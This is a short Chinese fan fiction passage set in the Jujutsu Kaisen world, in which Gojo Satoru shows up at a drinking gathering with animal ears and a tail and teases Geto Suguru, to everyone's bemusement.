“……我真是想酒想疯了，”歌姬碎碎念，“不如自己单开一局。” 在这一点上，有另一人所见略同。 七海建人坐在离五条悟最远的位置上，也在闷头喝酒。偶尔伸手拉灰原雄一把，防止搭档过于兴奋把长几摇翻了。 悟嘿嘿一笑，“正好人齐了，老子要给你们看个好东西！” 夏油杰“？” 好东西？什么好东西？ 杰正昏昏沉沉思考着，忽然感觉撑着榻榻米的手腕好像被什么毛茸茸的东西缠住了。 “？” 夏油杰抬起手，顺便带起了一截黑白色的长尾巴。 所有人表情都是一致的。 ……hello？whatsthis？ 悟水灵灵地转头，顶着两团毛茸茸的圆耳朵，继续对男同学挤眉弄眼。 “耳朵给你摸摸，你能把术式给老子玩玩吗？suguru～～” 杰哥“……”